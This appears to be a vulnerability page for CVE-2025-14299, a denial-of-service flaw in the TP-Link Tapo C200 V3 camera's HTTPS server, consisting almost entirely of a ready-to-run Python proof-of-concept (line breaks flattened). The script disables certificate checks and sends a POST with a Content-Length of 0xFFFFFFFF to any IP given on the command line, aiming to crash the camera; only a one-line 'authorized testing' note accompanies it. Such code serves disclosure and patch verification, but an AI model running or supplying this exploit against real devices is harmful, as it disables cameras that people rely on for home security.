CVE-2025-14299: Tapo C200 V3 HTTPS服务器Content-Length验证不当导致拒绝服务

#!/usr/bin/env python3 # CVE-2025-14299 PoC - Tapo C200 V3 Content-Length Integer Overflow DoS # Target: TP-Link Tapo C200 V3 HTTPS Server # Note: Use only for authorized security testing import socket import ssl import sys def create_ssl_context(): """Create SSL context for HTTPS connection""" context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE return context def send_malicious_request(target_ip, target_port=443): """ Send crafted HTTPS request with oversized Content-Length to trigger integer overflow and cause DoS """ # Malicious Content-Length value that can trigger integer overflow # Using a value close to max integer to cause overflow in memory allocation malicious_content_length = 0xFFFFFFFF # Craft HTTP POST request with malicious Content-Length http_request = f"POST / HTTP/1.1\r\n" http_request += f"Host: {target_ip}\r\n" http_request += f"Content-Type: application/x-www-form-urlencoded\r\n" http_request += f"Content-Length: {malicious_content_length}\r\n" http_request += "Connection: close\r\n" http_request += "\r\n" try: context = create_ssl_context() with socket.create_connection((target_ip, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_ip) as ssock: print(f"[*] Sending malicious request to {target_ip}:{target_port}") print(f"[*] Content-Length: {malicious_content_length}") ssock.send(http_request.encode()) print("[+] Request sent successfully") print("[*] Target should crash or become unresponsive") except Exception as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print("=" * 60) print("CVE-2025-14299 PoC - Tapo C200 V3 DoS") print("=" * 60) send_malicious_request(target, port)